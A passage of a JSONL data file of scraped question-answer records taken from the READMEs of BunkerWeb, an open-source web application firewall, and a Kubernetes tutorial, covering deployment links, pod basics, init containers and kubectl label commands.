{"id": "gh_c281469769c8", "question": "How to: Microsoft Azure", "question_body": "About bunkerity/bunkerweb", "answer": "BunkerWeb is referenced in the [Azure Marketplace](https://azuremarketplace.microsoft.com/fr-fr/marketplace/apps/bunkerity.bunkerweb?tab=Overview) and an ARM template is available in the [misc folder](https://github.com/bunkerity/bunkerweb/raw/v1.6.7/misc/integrations/azure-arm-template.json).\n\nYou will find more information in the [Microsoft Azure section](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#microsoft-azure) of the documentation.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471545"}
{"id": "gh_fab648634769", "question": "How to: Quickstart guide", "question_body": "About bunkerity/bunkerweb", "answer": "Once you have set up BunkerWeb with the integration of your choice, you can follow the [quickstart guide](https://docs.bunkerweb.io/1.6.7/quickstart-guide/?utm_campaign=self&utm_source=github) that will cover the installation and first configuration to protect a web service.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471551"}
{"id": "gh_8292790feb15", "question": "How to: Security tuning", "question_body": "About bunkerity/bunkerweb", "answer": "BunkerWeb offers many security features that you can configure with [features](https://docs.bunkerweb.io/1.6.7/features/?utm_campaign=self&utm_source=github). Even if the default values of settings ensure a minimal \"security by default,\" we strongly recommend you to tune them. By doing so, you will be able to ensure a security level of your choice but also manage false positives.\n\nYou will find more information in the [security tuning section](https://docs.bunkerweb.io/1.6.7/advanced/?utm_campaign=self&utm_source=github#security-tuning) of the documentation.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471558"}
{"id": "gh_b8ec24d01f5f", "question": "How to: Language Support & Localization", "question_body": "About bunkerity/bunkerweb", "answer": "BunkerWeb UI supports multiple languages. Translations are managed in the `src/ui/app/static/locales` directory. The following languages are currently available:\n\n- English (en)\n- French (fr)\n- Arabic (ar)\n- Bengali (bn)\n- Spanish (es)\n- Hindi (hi)\n- Portuguese (pt)\n- Russian (ru)\n- Urdu (ur)\n- Chinese (zh)\n- German (de)\n- Italian (it)\n- Turkish (tr)\n\nSee the [locales/README.md](https://github.com/bunkerity/bunkerweb/raw/v1.6.7/src/ui/app/static/locales/README.md) for details on translation provenance and review status.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471569"}
{"id": "gh_eaef26f7107f", "question": "How to: Contributing Translations", "question_body": "About bunkerity/bunkerweb", "answer": "We welcome contributions to improve or add new locale files!\n\n**How to contribute a translation:**\n\n1. Edit the `src/ui/app/lang_config.py` file to add your language (code, name, flag, english_name).\n2. Copy `en.json` as a template in `src/ui/app/static/locales/`, rename it to your language code (e.g., `de.json` for German).\n3. Translate the values in your new file.\n4. Update the table in `locales/README.md` to add your language and indicate who created/reviewed it.\n5. Submit a pull request.\n\nFor updates, edit the relevant file and update the provenance table as needed.\n\nSee the [locales/README.md](https://github.com/bunkerity/bunkerweb/raw/v1.6.7/src/ui/app/static/locales/README.md) for full guidelines.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471576"}
{"id": "gh_3c13a404de0f", "question": "How to: Professional", "question_body": "About bunkerity/bunkerweb", "answer": "Get technical support directly from the BunkerWeb maintainers. You will find more information by visiting the [BunkerWeb Panel](https://panel.bunkerweb.io/?utm_campaign=self&utm_source=github), our dedicated platform for professional services.\n\nDon't hesitate to [contact us](https://panel.bunkerweb.io/contact.php?utm_campaign=self&utm_source=github) if you have any questions; we will be more than happy to respond to your needs.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471581"}
{"id": "gh_93cbeafc8f63", "question": "How to: Contribute", "question_body": "About bunkerity/bunkerweb", "answer": "If you would like to contribute to the plugins, you can read the [contributing guidelines](https://github.com/bunkerity/bunkerweb/raw/v1.6.7/CONTRIBUTING.md) to get started.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471586"}
{"id": "gh_ec9b125d96af", "question": "How to: Security policy", "question_body": "About bunkerity/bunkerweb", "answer": "We take security bugs as serious issues and encourage responsible disclosure; see our [security policy](https://github.com/bunkerity/bunkerweb/raw/v1.6.7/SECURITY.md) for more information.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471591"}
{"id": "gh_4bcaa5fff90e", "question": "How to: Star History", "question_body": "About bunkerity/bunkerweb", "answer": "", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471596"}
{"id": "gh_cf0bee40b826", "question": "How to: Prerequisite", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Have a knowledge of Container Technology (Docker). You can learn it from here => [Fast-Docker](https://github.com/omerbsezer/Fast-Docker)\n\n**Keywords:** Containerization, Kubernetes, Kubectl, Pod, Deployment, Service, ConfigMap, ReplicaSet, Volume, Cheatsheet.\n\n**Note:** K8s objects and objects feature can be updated/changed in time. While creating this repo, the version of K8s was v1.22.3. Some sections are trying to be kept up to date. Especially [Creating K8s Cluster with Kubeadm and Containerd](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Kubeadm-Cluster-Setup.md).", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238037"}
{"id": "gh_9f58f51857a1", "question": "How to: Quick Look (HowTo): Scenarios - Hands-on LAB", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- [LAB: K8s Creating Pod - Imperative Way](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-CreatingPod-Imperative.md)\n- [LAB: K8s Creating Pod - Declarative Way (With File) - Environment Variable](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8-CreatingPod-Declerative.md) \n- [LAB: K8s Multicontainer - Sidecar - Emptydir Volume - Port-Forwarding](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Multicontainer-Sidecar.md)\n- [LAB: K8s Deployment - Scale Up/Down - Bash Connection - Port Forwarding](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Deployment.md)\n- [LAB: K8s Rollout - Rollback](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Rollout-Rollback.md)\n- [LAB: K8s Service Implementations (ClusterIp, NodePort and LoadBalancer)](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Service-App.md)\n- [LAB: K8s Liveness Probe](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Liveness-App.md)\n- [LAB: K8s Secret (Declarative and Imperative Way)](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Secret.md)\n- [LAB: K8s Config Map](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Configmap.md)\n- [LAB: K8s Node Affinity](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Node-Affinity.md)\n- [LAB: K8s Taint-Toleration](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Taint-Toleration.md)      \n- [LAB: K8s Daemonset - Creating 3 nodes on Minikube](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Daemon-Sets.md)   \n- [LAB: K8s Persistent Volume and Persistent Volume Claim](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-PersistantVolume.md)\n- [LAB: K8s Stateful Sets - Nginx](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Statefulset.md)  \n- [LAB: K8s Job](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Job.md)\n- [LAB: K8s Cron Job](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-CronJob.md)\n- [LAB: K8s Ingress](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Ingress.md)\n- [LAB: Helm Install & Usage](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/Helm.md)\n- [LAB: K8s Cluster Setup with Kubeadm and Containerd](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Kubeadm-Cluster-Setup.md)\n- [LAB: K8s Cluster Setup with Kubeadm and Docker](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Kubeadm-Cluster-Docker.md)\n- [LAB: Helm-Jenkins on running K8s Cluster (2 Node Multipass VM)](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Helm-Jenkins.md)\n- [LAB: Enable Dashboard on Real K8s Cluster](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Enable-Dashboard-On-Cluster.md)\n- [LAB: K8s Monitoring - Prometheus and Grafana](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Monitoring-Prometheus-Grafana.md)    \n- [Kubectl Commands Cheatsheet](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/KubernetesCommandCheatSheet.md)\n- [Helm Commands Cheatsheet](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/HelmCheatsheet.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238060"}
{"id": "gh_561b2f558836", "question": "How to: Table of Contents", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- [Motivation](#motivation)\n    - [What is Containerization? What is Container Orchestration?](#containerization)\n    - [Features](#features)\n- [What is Kubernetes?](#whatIsKubernetes)\n    - [Kubernetes Architecture](#architecture)\n    - [Kubernetes Components](#components)\n    - [Installation](#installation)\n    - [Kubectl Config – Usage](#kubectl)\n    - [Pod: Creating, Yaml, LifeCycle](#pod)\n    - [MultiContainer Pod, Init Container](#multicontainerpod)\n    - [Label and Selector, Annotation, Namespace](#labelselector)\n    - [Deployment](#deployment)\n    - [Replicaset](#replicaset)\n    - [Rollout and Rollback](#rollout-rollback)\n    - [Network, Service](#network-service)\n    - [Liveness and Readiness Probe](#liveness-readiness)\n    - [Resource Limit, Environment Variable](#environmentvariable)\n    - [Volume](#volume)\n    - [Secret](#secret)\n    - [ConfigMap](#configmap)\n    - [Node – Pod Affinity](#node-pod-affinity)\n    - [Taint and Toleration](#taint-tolereation)\n    - [Deamon Set](#daemon-set)\n    - [Persistent Volume and Persistent Volume Claim](#pvc)\n    - [Storage Class](#storageclass)\n    - [Stateful Set](#statefulset)\n    - [Job, CronJob](#job)\n    - [Authentication, Role Based Access Control, Service Account](#authentication)\n    - [Ingress](#ingress)\n    - [Dashboard](#dashboard)\n- [Play With Kubernetes](#playwithkubernetes)\n- [Helm: Kuberbetes Package Manager](#helm)\n- [Kubernetes Commands Cheatsheet](#cheatsheet)\n- [Helm Commands Cheatsheet](#helm_cheatsheet)\n- [Kubernetes Cluster Setup: Kubeadm, Containerd, Multipass](#cluster_setup)\n- [Monitoring Kubernetes Cluster with SSH, Prometheus and Grafana](#prometheus_grafana)\n- [Other Useful Resources Related Kubernetes](#resource)\n- [References](#references)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238077"}
{"id": "gh_fe910f529abb", "question": "How to: Motivation <a name=\"motivation\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "Why should we use Kubernetes? \"Kubernetes is a portable, extensible, open-source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. It has a large, rapidly growing ecosystem. Kubernetes services, support, and tools are widely available.\" (Ref: Kubernetes.io)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238084"}
{"id": "gh_882c18115780", "question": "How to: What is Containerization? What is Container Orchestration? <a name=\"containerization\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- \"Containerization is an operating system-level virtualization or application-level virtualization over multiple network resources so that software applications can run in isolated user spaces called containers in any cloud or non-cloud environment\" (wikipedia)\n- With Docker Environment, we can create containers.\n- Kubernetes and Docker Swarm are the container orchestration and management tools that automate and schedule the deployment, management, scaling, and networking of containers.\n\n![image](https://user-images.githubusercontent.com/10358317/146249579-b4221dc1-bad7-4da5-831a-849a71fa849e.png)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238091"}
{"id": "gh_445dc45a9709", "question": "How to: Features <a name=\"features\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- **Service discovery and load balancing:** Kubernetes can expose a container using the DNS name or using their own IP address. If traffic to a container is high, Kubernetes is able to load balance and distribute the network traffic so that the deployment is stable.\n- **Storage orchestration:** Kubernetes allows you to automatically mount a storage system of your choice, such as local storages, public cloud providers, and more.\n- **Automated rollouts and rollbacks:**  You can describe the desired state for your deployed containers using Kubernetes, and it can change the actual state to the desired state at a controlled rate. \n- **Automatic bin packing:** You tell Kubernetes how much CPU and memory (RAM) each container needs. Kubernetes can fit containers onto your nodes to make the best use of your resources.\n- **Self-monitoring:** Kubernetes checks constantly the health of nodes and containers\n- **Self-healing:** Kubernetes restarts containers that fail, replaces containers, kills containers that don't respond to your user-defined health check\n- **Automates various manual processes:** for instance, Kubernetes will control for you which server will host the container, how it will be launched etc.\n- **Interacts with several groups of containers:** Kubernetes is able to manage more cluster at the same time\n- **Provides additional services:** as well as the management of containers, Kubernetes offers security, networking and storage services\n- **Horizontal scaling:** Kubernetes allows you scaling resources not only vertically but also horizontally, easily and quickly\n- **Container balancing:** Kubernetes always knows where to place containers, by calculating the “best location” for them\n- **Run everywhere:** Kubernetes is an open source tool and gives you the freedom to take advantage of on-premises, hybrid, or public cloud infrastructure, letting you move workloads to anywhere you want\n- **Secret and configuration management:** Kubernetes lets you store and manage sensitive information", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238104"}
{"id": "gh_89cfefabfbac", "question": "How to: What is Kubernetes?  <a name=\"whatIsKubernetes\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- \"Kubernetes is a portable, extensible, open-source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. It has a large, rapidly growing ecosystem. Kubernetes services, support, and tools are widely available.\" (Ref: Kubernetes.io)\n\n![image](https://user-images.githubusercontent.com/10358317/146247396-5bc3bbf9-41fa-47ff-b10d-cac305379e21.png) (Ref: Kubernetes.io)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238110"}
{"id": "gh_337f02008902", "question": "How to: Kubernetes Architecture  <a name=\"architecture\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "![k8s-architecture](https://github.com/user-attachments/assets/b1df29cc-2fb9-44a6-ad57-c194a8f14f8c)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238115"}
{"id": "gh_1273e677e6a9", "question": "How to: Kubernetes Components <a name=\"components\"></a> (Ref: Kubernetes.io)", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- **Control Plane:** User enters commands and configuration files from control plane. It controls all cluster.\n    - **API Server:** \"It exposes the Kubernetes API. The API server is the front end for the Kubernetes control plane.\"\n    - **Etcd:** \"Consistent and highly-available key value store used as Kubernetes' backing store for all cluster data (meta data, objects, etc.).\"\n    - **Scheduler:** \"It watches for newly created Pods with no assigned node, and selects a node for them to run on. \n        -  Factors taken into account for scheduling decisions include: \n            -  individual and collective resource requirements, \n            -  hardware/software/policy constraints, \n            -  affinity and anti-affinity specifications, \n            -  data locality, \n            -  inter-workload interference,\n            -  deadlines.\"\n    - **Controller Manager:** \"It runs controller processes.\n        - Logically, each controller is a separate process, but to reduce complexity, they are all compiled into a single binary and run in a single process.\n        - Some types of these controllers are:\n            - Node controller: Responsible for noticing and responding when nodes go down.\n            - Job controller: Watches for Job objects that represent one-off tasks, then creates Pods to run those tasks to completion.\n            - Endpoints controller: Populates the Endpoints object (that is, joins Services & Pods).\n            - Service Account & Token controllers: Create default accounts and API access tokens for new namespaces\"\n     - **Cloud Controller Manager:** \"It embeds cloud-specific control logic. The cloud controller manager lets you link your cluster into your cloud provider's API, and separates out the components that interact with that cloud platform from components that only interact with your cluster. The cloud-controller-manager only runs controllers that are specific to your cloud provider\n        -  The following controllers can have cloud provider dependencies:\n            - Node controller: For checking the cloud provider to determine if a node has been deleted in the cloud after it stops responding\n            - Route controller: For setting up routes in the underlying cloud infrastructure\n            - Service controller: For creating, updating and deleting cloud provider load balancers.\"\n- **Node:** \"Node components run on every node, maintaining running pods and providing the Kubernetes runtime environment.\"\n    - **Kubelet:** \"An agent that runs on each node in the cluster. It makes sure that containers are running in a Pod. The kubelet takes a set of PodSpecs that are provided through various mechanisms and ensures that the containers described in those PodSpecs are running and healthy.\"\n    - **Kube-proxy:** \"It is a network proxy that runs on each node in your cluster, implementing part of the Kubernetes Service concept.\n        - It maintains network rules on nodes. These network rules allow network communication to your Pods from network sessions inside or outside of your cluster.\n        - It uses the operating system packet filtering layer if there is one and it's available. Otherwise, kube-proxy forwards the traffic itself.\"\n    - **Container Runtime:** \"The container runtime is the software that is responsible for running containers.\n        -  Kubernetes supports several container runtimes: **Docker, containerd, CRI-O,** and any implementation of the Kubernetes CRI (Container Runtime Interface)\"  \n\n![image](https://user-images.githubusercontent.com/10358317/146250916-a9298521-526b-451a-9810-6813e4165db5.png)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238126"}
{"id": "gh_cd96e5fa47e8", "question": "How to: Installation <a name=\"installation\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "Download:\n- **Kubectl:** The Kubernetes command-line tool, kubectl, allows you to run commands against Kubernetes clusters. \n- **Minikube:** It is a tool that lets you run Kubernetes locally. It runs a single-node Kubernetes cluster on your personal computer (https://minikube.sigs.k8s.io/docs/start/) \n- **KubeAdm:** You can use the kubeadm tool to create and manage Kubernetes clusters. This is for creating cluster with computers (Goto: [LAB: K8s Kubeadm Cluster Setup](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Kubeadm-Cluster-Setup.md)).\n\nfrom here=> https://kubernetes.io/docs/tasks/tools/ \n\nFor learning K8s and running on a computer, **Kubectl and Minikube** are enough to install. \n\n**PS:** Cloud providers (Azure, Google Cloud, AWS) offer managed K8s (control plane is managed by cloud provides). You can easily create your cluster (number of computer and details) and make connection with Kubectl (using CLI get-credentials of cluster on the cloud)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238134"}
{"id": "gh_e92923b2bef4", "question": "How to: Kubectl Config – Usage <a name=\"kubectl\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "#### Config File\n- You can communicate with K8s cluster in different ways: REST API, Command Line Tool (CLI-Kubectl), GUI (kube-dashboard, etc.)\n- After installation, you can find the kubernetes config file (C:\\Users\\User\\.kube\\config) that is YAML file.\n- Config file contains 3 main parts: Clusters (cluster certificate data, server, name), Context (cluster and user, namespace), Users (name, config features, certificates, etc.)\n\n#### Usage\n- Kubectl is our main command line tool that connects minikube. There are many combination of commands. So it is not possible to list all commands. \n- When run \"kubectl\" on the terminal, it can be seen some simple commands. Also \"kubectl\n--help\" gives more information.\n- Pattern: kubectl [get|delete|edit|apply] [pods|deployment|services] [podName|serviceName|deploymentName]\n- Example: \"kubectl get pods podName\", \"kubectl delete pods test_pod\", \"kubectl describe pods firstpod\", etc.\n- All necessary/most usable commands are listed in the \"[Kubernetes Commands Cheatsheet](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/KubernetesCommandCheatSheet.md)\". Please have a look to get more information and usage.", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": false, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238144"}
{"id": "gh_b6c3bf451309", "question": "How to: Pod: Creating, Yaml, LifeCycle <a name=\"pod\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Pod is the smallest unit that is created and managed in K8s.\n- Pods may contain more than 1 container, but mostly pods contain only 1 container.\n- Each pod has unique id (uid).\n- Each pod has unique IP address.\n- Containers in the same Pod run on the same Node (computer), and these containers can communicate with each other on the localhost. \n- Creation of the first pod, IMPERATIVE WAY (with command):\n- Please have a look Scenario (**Creating Pod - Imperative way**, below link) to learn more information about the pod's kubectl commands.\n    - how to create basic K8s pod using imperative commands,\n    - how to get more information about pod (to solve troubleshooting),\n    - how to run commands in pod,\n    - how to delete pod. \n\n**Goto the Scenario:** [LAB: K8s Creating Pod - Imperative Way](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-CreatingPod-Imperative.md) \n\n#### Pod: YAML File\n- Imperative way could be difficult to store and manage process. Every time we have to enter commands. To prevent this, we can use YAML file to define pods and pods' feature. This way is called \"Declarative Way\".\n- Declarative way (with file), Imperative way (with command)\n- Sample Yaml File:\n\n![image](https://user-images.githubusercontent.com/10358317/153674712-426a262d-d13e-489d-9c86-63ac22114d75.png)\n\n- Please have a look Scenario (**Creating Pod - Declarative way**, below link) to learn more information.\n\n**Goto the Scenario:** [LAB: K8s Creating Pod - Declarative Way (With File) - Environment Variable](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8-CreatingPod-Declerative.md) \n\n#### Pod: Life Cycle\n- **Pending:** API->etcd, pod created, pod id created, but not running on the node.\n- **Creating:** Scheduler take pod from etcd, assing on node. Kubelet on the Node pull images from docker registry or repository.\n- **ImagePullBackOff:** Kubelet can not pull image from registry. E.g. Image name is fault (typo error), Authorization Failure, Username/Pass error.\n- **Running:** \n    - Container closes in 3 ways:\n        1. App completes the mission and closes automatically without giving error,\n        2. Use or System sends close signal and closes automatically without giving error,\n        3. Giving error, collapsed and closes with giving error code. \n    - Restart Policies (it can defined in the pod definition): \n        1. Always: Default value, kubelet starts always when closing with or without error, \n        2. On-failure: It starts again when it gets only error, \n        3. Never: It never restarts in any case.\n - **Successed (completed)**: If the container closes successfully without error and restart policy is configured as on-failure/never, it converts to succeed.\n - **Failed**\n - **CrashLoopBackOff:** \n    - If restart policy is configured as always and container closes again and again, container restarts again and again (Restart waiting duration before restarting again: 10 sec -> 20 sec -> 40 sec -> .. -> 5mins), It runs every 5 mins if the pod is crashed.\n    - If container runs more than 10 mins, status converted from 'CrashLoopBackOff' to 'Running'.", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238160"}
{"id": "gh_5bf0ed8057af", "question": "How to: MultiContainer Pod, Init Container <a name=\"multicontainerpod\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Best Practice: 1 Container runs in 1 Pod normally, because the smallest element in K8s is Pod (Pod can be scaled up/down).\n- Multicontainers run in the same Pod when containers are dependent of each other. \n- Multicontainers in one Pod have following features:\n  - Multi containers that run on the same Pod run on the same Node.\n  - Containers in the same Pod run/pause/deleted at the same time.\n  - Containers in the same Pod communicate with each other on localhost, there is not any network isolation.\n  - Containers in the same Pod use one volume commonly and they can reach same files in the volume.   \n\n#### Init Containers\n- Init containers are used for configuration of apps before running app container. \n- Init containers handle what it should run, then it closes successfully, after init containers close, app containers start. \n- Example below shows how to define init containers in one Pod. There are 2 containers: appcontainer and initcontainer. Initcontainer is polling the service (myservice). When it finds, it closes and app container starts.  \n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: initcontainerpod\nspec:\n  containers:\n  - name: appcontainer            # after initcontainer closed successfully, appcontainer starts.\n    image: busybox\n    command: ['sh', '-c', 'echo The app is running! && sleep 3600']\n  initContainers:\n  - name: initcontainer\n    image: busybox                # init container starts firstly and look up myservice is up or not in every 2 seconds, if there is myservice available, initcontainer closes. \n    command: ['sh', '-c', \"until nslookup myservice; do echo waiting for myservice; sleep 2; done\"]\n```\n   \n- Please have a look Scenario (below link) to learn more information.\n\n**Goto the Scenario:** [LAB: K8s Multicontainer - Sidecar - Emptydir Volume - Port-Forwarding](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Multicontainer-Sidecar.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238174"}
{"id": "gh_16920c6c2ae4", "question": "How to: Label and Selector, Annotation, Namespace <a name=\"labelselector\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "#### Label\n- Label is important to reach the K8s objects with key:value pairs.\n- key:value is used for labels. E.g. tier:frontend, stage:test, name:app1, team:development\n- prefix may also be used for optional with key:value. E.g. example.com/tier:front-end, kubernetes.io/ , k8s.io/\n- In the file (declerative way), labels are added under metadata. It is possible to add multiple labels. \n\n![image](https://user-images.githubusercontent.com/10358317/153675164-62265978-60c3-4167-ad0c-4bfbbf1f704b.png)\n\n- In the command (imperative way), we can also add label to the pods.\n```shell\nkubectl label pods pod1 team=development  #adding label team=development on pod1\nkubectl get pods --show-labels\nkubectl label pods pod1 team-  #remove team (key:value) from pod1\nkubectl label --overwrite pods pod1 team=test #overwrite/change label on pod1\nkubectl label pods --all foo=bar  # add label foo=bar for all pods\n```\n#### Selector\n- We can select/filter pods with kubectl. \n```shell\nkubectl get pods -l \"app=firstapp\" --show-labels\nkubectl get pods -l \"app=firstapp,tier=frontend\" --show-labels\nkubectl get pods -l \"app=firstapp,tier!=frontend\" --show-labels\nkubectl get pods -l \"app,tier=frontend\" --show-labels #equality-based selector\nkubectl get pods -l \"app in (firstapp)\" --show-labels  #set-based selector\nkubectl get pods -l \"app not in (firstapp)\" --show-labels  #set-based selector\nkubectl get pods -l \"app=firstapp,app=secondapp\" --show-labels # comma means and => firstapp and secondapp\nkubectl get pods -l \"app in (firstapp,secondapp)\" --show-labels # it means or => firstapp or secondapp\n```\n#### Node Selector\n- With Node Selector, we can specify which pod run on which Node. \n \n ![image](https://user-images.githubusercontent.com/10358317/153676102-03b2137b-ecc8-4802-9a9f-41694e1ce6fa.png)\n\n- It is also possible to label nodes with imperative way. \n```shell\nkubectl apply -f podnode.yaml\nkubectl get pods -w #always watch\nkubectl label nodes minikube hddtype=ssd #after labelling node, pod11 configuration can run, because node is labelled with hddtype:ssd \n```\n#### Annotation\n- It is similar to label, but it is used for the detailed information (e.g. owner, notification-email, releasedate, etc.) that are not used for linking objects. \n\n![image](https://user-images.githubusercontent.com/10358317/153675516-4b71b55a-f7ec-40a4-9e32-0b794208e6ae.png)\n\n```shell\nkubectl apply -f podannotation.yaml\nkubectl describe pod annotationpod\nkubectl annotate pods annotationpod foo=bar #imperative way\nkubectl delete -f 